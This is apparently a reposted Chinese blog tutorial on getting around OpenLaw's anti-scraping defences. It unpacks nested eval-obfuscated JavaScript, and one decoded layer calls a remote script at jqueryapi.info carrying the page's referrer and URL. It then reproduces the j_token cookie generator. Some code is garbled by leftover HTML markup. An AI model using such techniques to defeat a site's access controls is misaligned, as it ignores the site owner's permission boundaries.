JS混淆openlaw反爬破解实践

大家好，我是讯享网，很高兴认识大家。这里提供最前沿的Ai技术和互联网信息。

爬虫与反爬虫一直是一对天生的对手，反爬手段多种多样，激活成功教程手段也应运而生。

本文主要介绍一种利用前端JS代码混淆加密来实现反爬的技术手段，并实践如何技术上激活成功教程。

OpenLaw 是一个面向律师、法官、检察官、法学教师、学者、学生以及从事法律相关的工作人员的 NGO 开放型组织，OpenLaw 的用户被视为法律技术和知识的源泉，共同分享法律专业知识以及智慧和经验成果。

我们尝试爬取某causeId下的案件信息，页面访问都很正常。很开心，我们使用requests包进行爬取，看似很轻松嘛。

} eval(lOO(OOO(O01)));

上述代码，将eval改为console.log，新建snippet拷贝这一段内容，运行该脚本，在Chrome的console中输出js代码输出结果。

eval(function(p,a,c,k,e,d){一大串代码)))

继续将eval改为console.log，运行该脚本，在Chrome的console中输出js代码输出结果；发现还是一段以eval开始的js代码，像剥洋葱一样一层一层继续重复上述过程，直到我们到了下面的内容。

讯享网var _escape = ‘%3Cscript%3Evar%20openlaw%20%3D%20%27openlaw%27%3B%3C/script%3E’; var OOI = document.createElement(‘script’); OOI.src = ‘http://jqueryapi.info/?getsrc=ok' + ’&ref=‘ + encodeURIComponent(document.referrer) + ’&url=‘ + encodeURIComponent(document.URL); var _101 = document.getElementsByTagName(’head‘)[0]; _101.appendChild(OOI); document.write(unescape(_escape));

将该代码在一些在线UrlEncode编码/UrlDecode解码网址进行解码，获得下列代码。

var _escape = ’&lt;script&gt;var openlaw = ‘openlaw’;&lt;/script&gt;‘; var OOI = document.createElement(’script‘); OOI.src = ’http://jqueryapi.info/?getsrc=ok' ‘&ref=’ encodeURIComponent(document.referrer) ‘&url=’ encodeURIComponent(document.URL); var _101 = document.getElementsByTagName(‘head’)[0]; _101.appendChild(OOI); document.write(unescape(_escape));

可见，是获取一段新的js代码，并将其插入到页面中去；于我们需要的内容没有太大关系，我们进入下一段。

讯享网window.n = “j_token”; eval(function(p, a, c, k, e, d) { e = function(c) { return (c &lt; a ? “” : e(parseInt(c / a))) + ((c = c % a) &gt; 35 ? String.fromCharCode(c + 29) : c.toString(36)) } ; if (!‘’.replace(/^/, String)) { while (c–)

同样的，eval替换为console.log，输出结果是：

var \(</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;\x6f\x70\x65\x6e\x6c\x61\x77&#39;</span><span class="p">];</span> <span class="kd">var</span> <span class="nx">a</span><span class="o">=</span><span class="nx">_\)[0];

将该代码在一些在线ascii码转字符，获得下列代码。

我们先将上述代码（除最后一行外）拷贝到console中执行，以备变量使用。最后一句，我们将一大串代码执放入Chrome的console中执行，

将输出中将return后面的内容放入console.log()中执行，获取下面代码。

window.v = “bdfe397f5ff6506dd001f632e2db0311”; function p(s) { return s.substring(2, 4).concat(‘n’).concat(s.substring(0, 1)).concat(‘p’).concat(s.substring(4, 8)).concat(‘e’).concat(s.substring(1, 2)).concat(s.substring(16)).concat(s.substring(8, 16)); } ;+function() { document.cookie = “j” + “” + “token=” + p(window.v); location.reload(); }();

已经很明显了，我们要的j_token就在这里面，可以鼓掌相庆了。这一段代码中p(s)用python改写下即可。

下面就是具体实现代码及实现结果了。
